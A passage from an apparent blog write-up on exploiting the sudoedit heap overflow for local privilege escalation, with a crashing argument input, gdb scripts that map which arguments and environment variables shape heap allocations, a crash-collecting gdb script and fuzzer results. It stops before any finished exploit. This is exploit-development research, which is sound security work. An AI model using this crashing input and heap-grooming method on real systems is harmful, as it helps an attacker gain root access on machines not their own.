We can load the program and the crashing input to gdb to analyze the bug further and can also add some more printfs:

diff --git a/plugins/sudoers/sudoers.c b/plugins/sudoers/sudoers.c
index 6c5bcfd..843d0dc 100644
--- a/plugins/sudoers/sudoers.c
+++ b/plugins/sudoers/sudoers.c
@@ -848,9 +852,16 @@ set_cmnd(void)
            char *to, *from, **av;
            size_t size, n;

+           fprintf(stderr, "NewArgc=%d\n", NewArgc);
+           for(int i=0; i<NewArgc; i++) {
+               fprintf(stderr, "NewArgv[%d]=%p=%s\n", i, NewArgv[i], NewArgv[i]);
+           }
            /* Alloc and build up user_args. */
            for (size = 0, av = NewArgv + 1; *av; av++)
                size += strlen(*av) + 1;
+           fprintf(stderr, "size=0x%lx\n", size);
+
            if (size == 0 || (user_args = malloc(size)) == NULL) {
                sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
                debug_return_int(-1);
@@ -861,11 +872,19 @@ set_cmnd(void)
                 * escapes potential meta chars.  We unescape non-spaces
                 * for sudoers matching and logging purposes.
                 */

+               // `from` points to: argv-fuzz-inl.h:afl_init_argv.in_buf+XX `static` buffer
                for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
                    while (*from) {
                        if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                            from++;
-                       *to++ = *from++;
+                       *to++ = *from++;        //OFFENDING LINE
                    }
                    *to++ = ' ';
                }

Exploitation

Okay so now we understand the bug pretty well. Let’s see if we can exploit the bug to escalate privileges.

Exploitation strategy

Our exploitation strategy here is pretty limited. This is a “one-shot” exploit. Our only interactions with sudo are the argv and environment variables. Afterwards, we run and and have no interaction with the binary until the memory corruption happens. This means that we do not have leaks. At best we can do partial address overwrites and data-only attacks.

Since we have a heap overflow, we need to manipulate the layout of the heap (heap feng shui) so that there is an “interesting” adjuscent chucnk where we overflow into. To do so, we write our own heap fuzzer. There are various reasons why we do not use AFL++:

  1. AFL++ instrumentation passes and runtime affect heap feng shui in a negative way. If we find an interesting heap layout with AFL++, this will not be reproducible in the original binary. We want to be as close to the original binary as possible. Ideally, we wouldn’t recompile the binary and instead fuzz it as it is supposed to run on a system.
  2. We want to fuzz on the input size. We do not care about the contents.
  3. We do not care about code coverage.
  4. We want to fuzz environment variables also.

The deal-breaker here is point 1. AFL++ would mess up the heap layout too much. Instead, we will write our own heap fuzzer in python and use gdb to analyze information from crashes. (Or at least I am incomptenet enough apply AFL++ for this task.)

Identifying inputs

First, we do some analysis. We need to figure our which of our inputs cotonrol our allocations. Basically we want to do taint analysis, where our sources are input lengths (argc, argv, envp) and our sinks are the size argument to malloc/calloc calls. I am unaware of some taint analysis framework that can automagically (and without significant engineering effort) tell us this information. So, let’s go with ad-hoc gdb analysis and source code review instead:

//Total size of argv
//sudoers.c:set_cmnd
/* Alloc and build up user_args. */
for (size = 0, av = NewArgv + 1; *av; av++)
    size += strlen(*av) + 1;
fprintf(stderr, "size=0x%lx\n", size);

if (size == 0 || (user_args = malloc(size)) == NULL)

// Total size of env
// env.c:env_init
len = (size_t)(ep - envp);
env.env_size = len + 1 + 128;
env.envp = reallocarray(NULL, env.env_size, sizeof(char *));

We further gather information at runtime. We use a simple gdb script that hooks malloc and calloc calls and dumps a backtrace:

# gdbscript that hooks all allocations
# We use vanila gdb with `--nh`
# We use `stdbuf`, otherwise some input is omitted
# Run as:
# stdbuf -o 0 gdb ./0edit -x startup.2.gdb -iex 'set pagination off' -q --nh > startup.2.gdb.out 2>&1

add-symbol-file /usr/local/libexec/sudo/libsudo_util.so.0
add-symbol-file /usr/local/libexec/sudo/sudoers.so

# crashing input:
set args -hB -i AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\ BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
start

b *malloc
command $bpnum
    bt
    continue
end

b *calloc
command $bpnum
    bt
    continue
end
continue

At the backtrace we can look for strings that we know belong to our input. But which inputs shall we manipulate besides argv? Let’s also gather potential environment variables that get accessed by sudo by inserting a breakpoint at getenv. This is not foolproof as unset env variables and env variables accessed via envp will be missed. Still, here is the script and the output list:

b getenv
command $bpnum
    silent
    printf "getenv called: %s\n", (char*)$rdi
    continue
end

Results:

GCONV_PATH
LANG
LC_ADDRESS
LC_ALL
LC_COLLATE
LC_CTYPE
LC_IDENTIFICATION
LC_MEASUREMENT
LC_MESSAGES
LC_MONETARY
LC_NAME
LC_NUMERIC
LC_PAPER
LC_TELEPHONE
LC_TIME
LOCPATH
SHELL
TZ

(Note: When running gdb for automated tasks like this, it is good to disable any plugins such as gef or pwndbg. Experience has shown that these plugins throw weird errors when breakpoints are hit and continued in a non-interactive way.)

Now, we can set those environment variables one-by-one and examine the backtraces (through the same gdbscript from above) to see if they affect allowcations:

// `GCONV_PATH`. Various Paths have been created
Breakpoint 3, __GI___libc_malloc (bytes=bytes@entry=62) at ./malloc/malloc.c:3288
3288	in ./malloc/malloc.c
#0  __GI___libc_malloc (bytes=bytes@entry=62) at ./malloc/malloc.c:3288
#1  0x00007a8a00d06bfd in gconv_parseconfdir (dir_len=46, dir=0x593a49a7fa20 "/home/user/mount/sudoedit/02-exploit/QQQQQQQQ/", prefix=0x0) at ./gconv_parseconfdir.h:125
#2  __gconv_read_conf () at ./iconv/gconv_conf.c:480
#3  0x00007a8a00d6af97 in __pthread_once_slow (once_control=0x7a8a00eb0a4c <once>, init_routine=0x7a8a00d06b50 <__gconv_read_conf>) at ./nptl/pthread_once.c:116
#4  0x00007a8a00d6b075 in ___pthread_once (once_control=<optimized out>, init_routine=<optimized out>) at ./nptl/pthread_once.c:143
#5  0x00007a8a00d06e53 in __gconv_load_conf () at ./iconv/gconv_conf.c:528
#6  0x00007a8a00d05b79 in __gconv_compare_alias (name1=name1@entry=0x7fff767b8bb0 "UTF-8//", name2=name2@entry=0x7fff767b8bc0 "UTF-8//") at ./iconv/gconv_db.c:707
#7  0x00007a8a00d0fcbe in _nl_find_locale (locale_path=<optimized out>, locale_path_len=16, category=category@entry=0, name=name@entry=0x7fff767b8cb0) at ../iconv/gconv_charset.h:87
#8  0x00007a8a00d0f38c in __GI_setlocale (category=0, locale=<optimized out>) at ./locale/setlocale.c:337
#9  0x0000593a489d5417 in main (argc=5, argv=0x7fff767b9098, envp=0x7fff767b90c8) at ./sudo.c:192

Breakpoint 3, __GI___libc_malloc (bytes=bytes@entry=472) at ./malloc/malloc.c:3288
3288	in ./malloc/malloc.c
#0  __GI___libc_malloc (bytes=bytes@entry=472) at ./malloc/malloc.c:3288
#1  0x00007a8a00d531fb in __fopen_internal (filename=filename@entry=0x593a49a7fa80 "/home/user/mount/sudoedit/02-exploit/QQQQQQQQ/gconv-modules", mode=mode@entry=0x7a8a00e729d4 "rce", is32=is32@entry=1)
    at ./libio/iofopen.c:65
#2  0x00007a8a00d532da in _IO_new_fopen (filename=filename@entry=0x593a49a7fa80 "/home/user/mount/sudoedit/02-exploit/QQQQQQQQ/gconv-modules", mode=mode@entry=0x7a8a00e729d4 "rce") at ./libio/iofopen.c:86
#3  0x00007a8a00d06874 in read_conf_file (filename=filename@entry=0x593a49a7fa80 "/home/user/mount/sudoedit/02-exploit/QQQQQQQQ/gconv-modules", 
    directory=directory@entry=0x593a49a7fa20 "/home/user/mount/sudoedit/02-exploit/QQQQQQQQ/", dir_len=dir_len@entry=46) at ./gconv_parseconfdir.h:55
#4  0x00007a8a00d06c3d in gconv_parseconfdir (dir_len=46, dir=0x593a49a7fa20 "/home/user/mount/sudoedit/02-exploit/QQQQQQQQ/", prefix=0x0) at ./gconv_parseconfdir.h:139
#5  __gconv_read_conf () at ./iconv/gconv_conf.c:480
#6  0x00007a8a00d6af97 in __pthread_once_slow (once_control=0x7a8a00eb0a4c <once>, init_routine=0x7a8a00d06b50 <__gconv_read_conf>) at ./nptl/pthread_once.c:116
#7  0x00007a8a00d6b075 in ___pthread_once (once_control=<optimized out>, init_routine=<optimized out>) at ./nptl/pthread_once.c:143
#8  0x00007a8a00d06e53 in __gconv_load_conf () at ./iconv/gconv_conf.c:528
#9  0x00007a8a00d05b79 in __gconv_compare_alias (name1=name1@entry=0x7fff767b8bb0 "UTF-8//", name2=name2@entry=0x7fff767b8bc0 "UTF-8//") at ./iconv/gconv_db.c:707
#10 0x00007a8a00d0fcbe in _nl_find_locale (locale_path=<optimized out>, locale_path_len=16, category=category@entry=0, name=name@entry=0x7fff767b8cb0) at ../iconv/gconv_charset.h:87
#11 0x00007a8a00d0f38c in __GI_setlocale (category=0, locale=<optimized out>) at ./locale/setlocale.c:337
#12 0x0000593a489d5417 in main (argc=5, argv=0x7fff767b9098, envp=0x7fff767b90c8) at ./sudo.c:192

// `progname`
// We can use arbitrary slashes. For example `./////////0edit`
Breakpoint 3, __GI___libc_malloc (bytes=520) at ./malloc/malloc.c:3288
3288	in ./malloc/malloc.c
#0  __GI___libc_malloc (bytes=520) at ./malloc/malloc.c:3288
#1  0x00007fab651077c6 in sudo_new_key_val_v1 (key=0x5c947f13ae53 "progname", val=0x7ffc7d7c590e ".", '/' <repeats 199 times>...) at ./key_val.c:53
#2  0x00005c947f131a70 in format_plugin_settings (plugin=0x5c947f143920 <policy_plugin>, sudo_settings=0x5c947f141840 <sudo_settings>) at ./sudo.c:1068
#3  0x00005c947f131d19 in policy_open (plugin=0x5c947f143920 <policy_plugin>, settings=0x5c947f141840 <sudo_settings>, user_info=0x5c9480455ca0, user_env=0x7ffc7d7c51c8) at ./sudo.c:1104
#4  0x00005c947f12d6eb in main (argc=5, argv=0x7ffc7d7c5198, envp=0x7ffc7d7c51c8) at ./sudo.c:255

// `LC_CTYPE` indeed affects allocations. One time we set it at 8 bytes length and saw allocations of size 34
// and the other time we set it at 16 bytes length, seeing allocations of size 42.
  //LC_CTYPE=QQQQQQQQ (length 8)
  Breakpoint 3, __GI___libc_malloc (bytes=bytes@entry=34) at ./malloc/malloc.c:3288
  3288	in ./malloc/malloc.c
  #0  __GI___libc_malloc (bytes=bytes@entry=34) at ./malloc/malloc.c:3288
  #1  0x000074c6c8124d8d in _nl_make_l10nflist (l10nfile_list=l10nfile_list@entry=0x74c6c82bfac0 <_nl_locale_file_list>, dirlist=dirlist@entry=0x74c6c828af50 <_nl_default_locale_path> "/usr/lib/locale", 
      dirlist_len=dirlist_len@entry=16, mask=mask@entry=0, language=0x7ffcd7b0d250 "QQQQQQQQ", territory=0x0, codeset=0x0, normalized_codeset=0x0, modifier=0x0, 
      filename=0x74c6c826746b <_nl_category_names+11> "LC_CTYPE", do_allocate=0) at ../intl/l10nflist.c:166
  #2  0x000074c6c811eb3c in _nl_find_locale (locale_path=0x74c6c828af50 <_nl_default_locale_path> "/usr/lib/locale", locale_path_len=16, category=category@entry=0, name=name@entry=0x7ffcd7b0d340)
      at ./locale/findlocale.c:204
  #3  0x000074c6c811e38c in __GI_setlocale (category=0, locale=<optimized out>) at ./locale/setlocale.c:337
  #4  0x0000588355d46417 in main (argc=5, argv=0x7ffcd7b0d728, envp=0x7ffcd7b0d758) at ./sudo.c:192

  Breakpoint 3, __GI___libc_malloc (bytes=bytes@entry=34) at ./malloc/malloc.c:3288
  3288	in ./malloc/malloc.c
  #0  __GI___libc_malloc (bytes=bytes@entry=34) at ./malloc/malloc.c:3288
  #1  0x000074c6c8124d8d in _nl_make_l10nflist (l10nfile_list=l10nfile_list@entry=0x74c6c82bfac0 <_nl_locale_file_list>, dirlist=dirlist@entry=0x74c6c828af50 <_nl_default_locale_path> "/usr/lib/locale", 
      dirlist_len=dirlist_len@entry=16, mask=mask@entry=0, language=0x7ffcd7b0d250 "QQQQQQQQ", territory=0x0, codeset=0x0, normalized_codeset=0x0, modifier=0x0, 
      filename=0x74c6c826746b <_nl_category_names+11> "LC_CTYPE", do_allocate=1) at ../intl/l10nflist.c:166
  #2  0x000074c6c811efbf in _nl_find_locale (locale_path=0x74c6c828af50 <_nl_default_locale_path> "/usr/lib/locale", locale_path_len=16, category=category@entry=0, name=name@entry=0x7ffcd7b0d340)
      at ./locale/findlocale.c:214
  #3  0x000074c6c811e38c in __GI_setlocale (category=0, locale=<optimized out>) at ./locale/setlocale.c:337
  #4  0x0000588355d46417 in main (argc=5, argv=0x7ffcd7b0d728, envp=0x7ffcd7b0d758) at ./sudo.c:192

  //LC_CTYPE=QQQQQQQQQQQQQQQQ (length 16)
  Breakpoint 3, __GI___libc_malloc (bytes=bytes@entry=42) at ./malloc/malloc.c:3288
  3288	in ./malloc/malloc.c
  #0  __GI___libc_malloc (bytes=bytes@entry=42) at ./malloc/malloc.c:3288
  #1  0x000076cd707efd8d in _nl_make_l10nflist (l10nfile_list=l10nfile_list@entry=0x76cd7098aac0 <_nl_locale_file_list>, dirlist=dirlist@entry=0x76cd70955f50 <_nl_default_locale_path> "/usr/lib/locale", 
      dirlist_len=dirlist_len@entry=16, mask=mask@entry=0, language=0x7ffc1e839f00 'Q' <repeats 16 times>, territory=0x0, codeset=0x0, normalized_codeset=0x0, modifier=0x0, 
      filename=0x76cd7093246b <_nl_category_names+11> "LC_CTYPE", do_allocate=0) at ../intl/l10nflist.c:166
  #2  0x000076cd707e9b3c in _nl_find_locale (locale_path=0x76cd70955f50 <_nl_default_locale_path> "/usr/lib/locale", locale_path_len=16, category=category@entry=0, name=name@entry=0x7ffc1e839ff0)
      at ./locale/findlocale.c:204
  #3  0x000076cd707e938c in __GI_setlocale (category=0, locale=<optimized out>) at ./locale/setlocale.c:337
  #4  0x000059fa11824417 in main (argc=5, argv=0x7ffc1e83a3d8, envp=0x7ffc1e83a408) at ./sudo.c:192

  Breakpoint 3, __GI___libc_malloc (bytes=bytes@entry=42) at ./malloc/malloc.c:3288
  3288	in ./malloc/malloc.c
  #0  __GI___libc_malloc (bytes=bytes@entry=42) at ./malloc/malloc.c:3288
  #1  0x000076cd707efd8d in _nl_make_l10nflist (l10nfile_list=l10nfile_list@entry=0x76cd7098aac0 <_nl_locale_file_list>, dirlist=dirlist@entry=0x76cd70955f50 <_nl_default_locale_path> "/usr/lib/locale", 
      dirlist_len=dirlist_len@entry=16, mask=mask@entry=0, language=0x7ffc1e839f00 'Q' <repeats 16 times>, territory=0x0, codeset=0x0, normalized_codeset=0x0, modifier=0x0, 
      filename=0x76cd7093246b <_nl_category_names+11> "LC_CTYPE", do_allocate=1) at ../intl/l10nflist.c:166
  #2  0x000076cd707e9fbf in _nl_find_locale (locale_path=0x76cd70955f50 <_nl_default_locale_path> "/usr/lib/locale", locale_path_len=16, category=category@entry=0, name=name@entry=0x7ffc1e839ff0)
      at ./locale/findlocale.c:214
  #3  0x000076cd707e938c in __GI_setlocale (category=0, locale=<optimized out>) at ./locale/setlocale.c:337
  #4  0x000059fa11824417 in main (argc=5, argv=0x7ffc1e83a3d8, envp=0x7ffc1e83a408) at ./sudo.c:192

//`TZ`
Breakpoint 3, __GI___libc_malloc (bytes=bytes@entry=9) at ./malloc/malloc.c:3288
3288	in ./malloc/malloc.c
#0  __GI___libc_malloc (bytes=bytes@entry=9) at ./malloc/malloc.c:3288
#1  0x00007e5089f6c8ea in __GI___strdup (s=s@entry=0x7ffdfcad7eed "QQQQQQQQ") at ./string/strdup.c:42
#2  0x00007e5089f93002 in tzset_internal (always=always@entry=1) at ./time/tzset.c:402
#3  0x00007e5089f931ff in __tzset () at ./time/tzset.c:551
#4  0x000059e2f38b8444 in main (argc=5, argv=0x7ffdfcad76a8, envp=0x7ffdfcad76d8) at ./sudo.c:196

// LOCPATH (actually affects a lot. 101 locations)

Writing a heap feng shui fuzzer

So, let’s write our fuzzer now. Our fuzzer will run the sudo binary with argv and environment variable inputs of various lengths. The arguments will always trigger the heap overflow so that we eventually crash. With gdb, we will hook all stop evenets, meaning signals such as SIGABRT and SIGSEGV. When the inferior stops due to a crash, we will collect backtrace infromation regarding where the crash happened so that we can inspect afterwards if the location of the crash is interesting or not.

Here is our gdbscript that is capable of collecting information upon crashes:

import gdb
HAS_PWNDBG=False #TODO: Detect dynamically

INF = gdb.inferiors()[0]

gdb.execute('add-symbol-file /usr/local/libexec/sudo/libsudo_util.so.0')
gdb.execute('add-symbol-file /usr/local/libexec/sudo/sudoers.so')

# GDB events:
# https://sourceware.org/gdb/current/onlinedocs/gdb.html/Events-In-Python.html
def exit_handler(event: gdb.ExitedEvent):
    # called when the inferior exits
    if hasattr(event, 'exit_code'):
        print(f"Inferior exited. exit code: {event.exit_code}")
    else:
        print("Inferior exited. exit code: unavailable")
    gdb.execute('quit')
gdb.events.exited.connect(exit_handler)

def stop_handler(event: gdb.StopEvent):
    print("Inferior stopped: " + str(type(event)))

    if HAS_PWNDBG:
        gdb.execute('set context-output stdout')
    output  = ''
    output += 'Stop Reason:\n'
    if isinstance(event, gdb.SignalEvent):
        output += event.stop_signal + '\n'
    else:
        output += str(type(event)) + '\n'
    output += 'context:\n'
    if HAS_PWNDBG:
        output += gdb.execute('context', to_string=True)
    output += 'environment:\n'
    output += gdb.execute('show environment', to_string=True)
    output += 'bt:\n'
    output += gdb.execute('bt', to_string=True)
    
    print(output)
    gdb.execute('kill')
gdb.events.stop.connect(stop_handler)
gdb.execute("r")

Next we write our fuzzer which does the following things on a high-level:

  • Generates random input (for all argc, argv, and envp)
  • Invokes gdb and executes the above gdbscript.
    • At this point, we decide to run sudo as root in order to be able to spawn it with gdb since it is a setuid program.
    • Alternatively, we could have modified the sudo binary to do a read(0, buf, 1) during startup. In this way we could run sudo as user, attach to it with gdb, and then continue execution.
    • Retrospectively, it was a bad decision to run sudo as root as we will observe at the end of the blog post (no spoilers!)
  • Collect the output from gdb for runs that crashed (memory corruption)
  • Prase the output
  • Store the results to a JSON file for further analysis
    • Each crash is stored in its own JSON file

The implementation of the fuzzer is in heap-fuzzer.py. And, honsetly, this is probably some very low quality dumb material as it simply throws random stuff at the binary and does not use any feedback to guide the fuzzer further.

We disable ASLR system-wide and run the fuzzer. Aaaaand let it run there for a few hours… In the mean time, we also write a parser for our results.

Auto-analyzing crashes

The heap-results-analyzer.py script is nothing fancy. It simply loads all the crashes, gathers statistics, and prints all the unique crashes that we discovered. We classify two crashes as identical when their backtrace information is the same. Ideally, this would be the case when (a) the number of frames in the backtrace is the same and (b) for each frame, comparing the address across crashes matches. For example, the following two crashes are identical:

// Crash 1:
#0  0x00007ffff7e4ffaf in unlink_chunk (p=p@entry=0x5555555935e0, av=0x7ffff7f8dc60 <main_arena>) at ./malloc/malloc.c:1622
#1  0x00007ffff7e52dcd in _int_malloc (av=av@entry=0x7ffff7f8dc60 <main_arena>, bytes=bytes@entry=3507) at ./malloc/malloc.c:4303
#2  0x00007ffff7e539fa in __GI___libc_malloc (bytes=bytes@entry=3507) at ./malloc/malloc.c:3315
#3  0x00007ffff7e5615c in __argz_create_sep (string=0x7fffffffe1b7 'O' <repeats 200 times>..., delim=delim@entry=58, argz=argz@entry=0x7fffffffd790, len=len@entry=0x7fffffffd798) at ./string/argz-ctsep.c:34
#4  0x00007ffff7ded511 in __GI_setlocale (category=6, locale=0x555555591e10 "C") at ./locale/setlocale.c:255
...

// Crash 2:
#0  0x00007ffff7e4ffaf in unlink_chunk (p=p@entry=0x5555555935e0, av=0x7ffff7f8dc60 <main_arena>) at ./malloc/malloc.c:1622
#1  0x00007ffff7e52dcd in _int_malloc (av=av@entry=0x7ffff7f8dc60 <main_arena>, bytes=bytes@entry=3507) at ./malloc/malloc.c:4303
#2  0x00007ffff7e539fa in __GI___libc_malloc (bytes=bytes@entry=3507) at ./malloc/malloc.c:3315
#3  0x00007ffff7e5615c in __argz_create_sep (string=0x7fffffffe1b7 'P' <repeats 200 times>..., delim=delim@entry=58, argz=argz@entry=0x7fffffffd790, len=len@entry=0x7fffffffd798) at ./string/argz-ctsep.c:34
#4  0x00007ffff7ded511 in __GI_setlocale (category=6, locale=0x555555591e10 "C") at ./locale/setlocale.c:255
...

You see, the number of frames (4) and the addresses match. We do not care that the arguments are different (e.g. 'O' <repeats 200 times> vs 'P' <repeats 200 times> in __argz_create_sep).

Since I had to recompile the binary mid-way fuzzing because of dumb reasons, I chose a bit more coarse grained approach for identifying idnetical crashes. Instead of comparing the address, we compare the pair <funcname>, <source-location>. So for example __GI_setlocale, ./locale/setlocale.c:255. (Still you might argue that source line might change if I introduced changes to the source, but I took my risks there. I could have used only the function name but then I could have missed some crashes. Again, ideally we should be comparing addresses.)

After half a million crashes (565233 to be precise), and some successful executions, we run our results-analyzer and identify 161 unique crashes. The results are stored in heap-results-analyzer.out. Here is some sample output from our analyzer:

Count: 5
Files: inp.474439, inp.489563, inp.513194, inp.540647, inp.560127
#0  0x00007ffff7d2251b in sudoers_policy_main (argc=6, argv=0x7fffffffec18, pwflag=0, env_add=0x0, verbose=false, closure=0x7fffffffe8a0) at ./sudoers.c:572
#1  0x00007ffff7d1ca7c in sudoers_policy_check (argc=6, argv=0x7fffffffec18, env_add=0x0, command_infop=0x7fffffffe988, argv_out=0x7fffffffe990, user_env_out=0x7fffffffe998) at ./policy.c:872
#2  0x0000555555572f88 in policy_check (plugin=0x555555583920 <policy_plugin>, argc=6, argv=0x7fffffffec18, env_add=0x0, command_info=0x7fffffffe988, argv_out=0x7fffffffe990, user_env_out=0x7fffffffe998) at ./sudo.c:1186
#3  0x000055555556e6ed in main (argc=8, argv=0x7fffffffec08, envp=0x7fffffffec50) at ./sudo.c:301

...

Count: 1
Files: inp.562039
#0  __pthread_kill_implementation (threadid=<optimized out>, signo=signo@entry=6, no_tid=no_tid@entry=0) at ./nptl/pthread_kill.c:44
#1  0x00007ffff7e45e8f in __pthread_kill_internal (signo=6, threadid=<optimized out>) at ./nptl/pthread_kill.c:78
#2  0x00007ffff7df6fb2 in __GI_raise (sig=sig@entry=6) at ../sysdeps/posix/raise.c:26
#3  0x00007ffff7de1472 in __GI_abort () at ./stdlib/abort.c:79
#4  0x00007ffff7e3a430 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7f54459 "%s\n") at ../sysdeps/posix/libc_fatal.c:155
#5  0x00007ffff7e4f7aa in malloc_printerr (str=str@entry=0x7ffff7f57138 "double free or corruption (out)") at ./malloc/malloc.c:5660
#6  0x00007ffff7e51810 in _int_free (av=0x7ffff7f8dc60 <main_arena>, p=0x555555585bb0, have_lock=<optimized out>, have_lock@entry=0) at ./malloc/malloc.c:4584
#7  0x00007ffff7e53e8f in __GI___libc_free (mem=<optimized out>) at ./malloc/malloc.c:3385
#8  0x00007ffff7ded799 in setname (name=0x7ffff7f5247c <_nl_C_name> "C", category=6) at ./locale/setlocale.c:199
#9  __GI_setlocale (category=<optimized out>, locale=<optimized out>) at ./locale/setlocale.c:385
#10 0x00007ffff7d114e6 in sudoers_setlocale (newlocale=1, prevlocale=0x7fffffffe4fc) at ./locale.c:120
#11 0x00007ffff7d21753 in sudoers_policy_main (argc=25, argv=0x7fffffffe958, pwflag=0, env_add=0x0, verbose=false, closure=0x7fffffffe5e0) at ./sudoers.c:327
#12 0x00007ffff7d1ca7c in sudoers_policy_check (argc=25, argv=0x7fffffffe958, env_add=0x0, command_infop=0x7fffffffe6c8, argv_out=0x7fffffffe6d0, user_env_out=0x7fffffffe6d8) at ./policy.c:872
#13 0x0000555555572f88 in policy_check (plugin=0x555555583920 <policy_plugin>, argc=25, argv=0x7fffffffe958, env_add=0x0, command_info=0x7fffffffe6c8, argv_out=0x7fffffffe6d0, user_env_out=0x7fffffffe6d8) at ./sudo.c:1186
#14 0x000055555556e6ed in main (argc=27, argv=0x7fffffffe948, envp=0x7fffffffea28) at ./sudo.c:301

Count: 2
Files: inp.562435, inp.563143
#0  __pthread_kill_implementation (threadid=<optimized out>, signo=signo@entry=6, no_tid=no_tid@entry=0) at ./nptl/pthread_kill.c:44
#1  0x00007ffff7e45e8f in __pthread_kill_internal (signo=6, threadid=<optimized out>) at ./nptl/pthread_kill.c:78
#2  0x00007ffff7df6fb2 in __GI_raise (sig=sig@entry=6) at ../sysdeps/posix/raise.c:26
#3  0x00007ffff7de1472 in __GI_abort () at ./stdlib/abort.c:79
#4  0x00007ffff7e3a430 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7f54459 "%s\n") at ../sysdeps/posix/libc_fatal.c:155
#5  0x00007ffff7e4f7aa in malloc_printerr (str=str@entry=0x7ffff7f56bb8 "munmap_chunk(): invalid pointer") at ./malloc/malloc.c:5660
#6  0x00007ffff7e4f96c in munmap_chunk (p=p@entry=0x5555555849a0) at ./malloc/malloc.c:3054
#7  0x00007ffff7e53ed8 in __GI___libc_free (mem=mem@entry=0x5555555849b0) at ./malloc/malloc.c:3375
#8  0x00007ffff7e30aa3 in _IO_deallocate_file (fp=0x5555555849b0) at ./libio/libioP.h:862
#9  _IO_new_fclose (fp=fp@entry=0x5555555849b0) at ./libio/iofclose.c:74
#10 0x00007ffff7ef5692 in __GI__nss_files_initgroups_dyn (user=user@entry=0x55555558a588 "root", group=group@entry=0, start=start@entry=0x7fffffffc268, size=size@entry=0x7fffffffc2c8, groupsp=groupsp@entry=0x7fffffffc2d0, limit=limit@entry=-1, errnop=0x7ffff7db86c0) at nss_files/files-initgroups.c:126
#11 0x00007ffff7e8bbd0 in internal_getgrouplist (user=user@entry=0x55555558a588 "root", group=group@entry=0, size=size@entry=0x7fffffffc2c8, groupsp=groupsp@entry=0x7fffffffc2d0, limit=limit@entry=-1) at ./grp/initgroups.c:101
#12 0x00007ffff7e8be28 in getgrouplist (user=0x55555558a588 "root", group=0, groups=0x7ffff7cb5010, ngroups=0x7fffffffc334) at ./grp/initgroups.c:156
#13 0x00007ffff7fafde6 in sudo_getgrouplist2_v1 (name=0x55555558a588 "root", basegid=0, groupsp=0x7fffffffc390, ngroupsp=0x7fffffffc384) at ./getgrouplist.c:105
#14 0x00007ffff7d92953 in sudo_make_gidlist_item (pw=0x55555558a558, unused1=0x0, type=1) at ./pwutil_impl.c:272
#15 0x00007ffff7d91367 in sudo_get_gidlist (pw=0x55555558a558, type=1) at ./pwutil.c:932
#16 0x00007ffff7d89683 in runas_getgroups () at ./match.c:145
#17 0x00007ffff7d772c7 in runas_setgroups () at ./set_perms.c:1714
#18 0x00007ffff7d75ad8 in set_perms (perm=5) at ./set_perms.c:281
#19 0x00007ffff7d6d559 in sudoers_lookup (snl=0x7ffff7db4ce0 <snl>, pw=0x55555558a558, validated=96, pwflag=0) at ./parse.c:303
#20 0x00007ffff7d78776 in sudoers_policy_main (argc=6, argv=0x7fffffffce68, pwflag=0, env_add=0x0, verbose=false, closure=0x7fffffffcaf0) at ./sudoers.c:328
#21 0x00007ffff7d73a7c in sudoers_policy_check (argc=6, argv=0x7fffffffce68, env_add=0x0, command_infop=0x7fffffffcbd8, argv_out=0x7fffffffcbe0, user_env_out=0x7fffffffcbe8) at ./policy.c:872
#22 0x0000555555572f88 in policy_check (plugin=0x555555583920 <policy_plugin>, argc=6, argv=0x7fffffffce68, env_add=0x0, command_info=0x7fffffffcbd8, argv_out=0x7fffffffcbe0, user_env_out=0x7fffffffcbe8) at ./sudo.c:1186
#23 0x000055555556e6ed in main (argc=8, argv=0x7fffffffce58, envp=0x7fffffffcea0) at ./sudo.c:301

Count: 1
Files: inp.564004
#0  __pthread_kill_implementation (threadid=<optimized out>, signo=signo@entry=6, no_tid=no_tid@entry=0) at ./nptl/pthread_kill.c:44
#1  0x00007ffff7e45e8f in __pthread_kill_internal (signo=6, threadid=<optimized out>) at ./nptl/pthread_kill.c:78
#2  0x00007ffff7df6fb2 in __GI_raise (sig=sig@entry=6) at ../sysdeps/posix/raise.c:26
#3  0x00007ffff7de1472 in __GI_abort () at ./stdlib/abort.c:79
#4  0x00007ffff7e3a430 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7f54459 "%s\n") at ../sysdeps/posix/libc_fatal.c:155
#5  0x00007ffff7e4f7aa in malloc_printerr (str=str@entry=0x7ffff7f52040 "corrupted size vs. prev_size") at ./malloc/malloc.c:5660
#6  0x00007ffff7e5006e in unlink_chunk (p=p@entry=0x555555595210, av=0x7ffff7f8dc60 <main_arena>) at ./malloc/malloc.c:1623
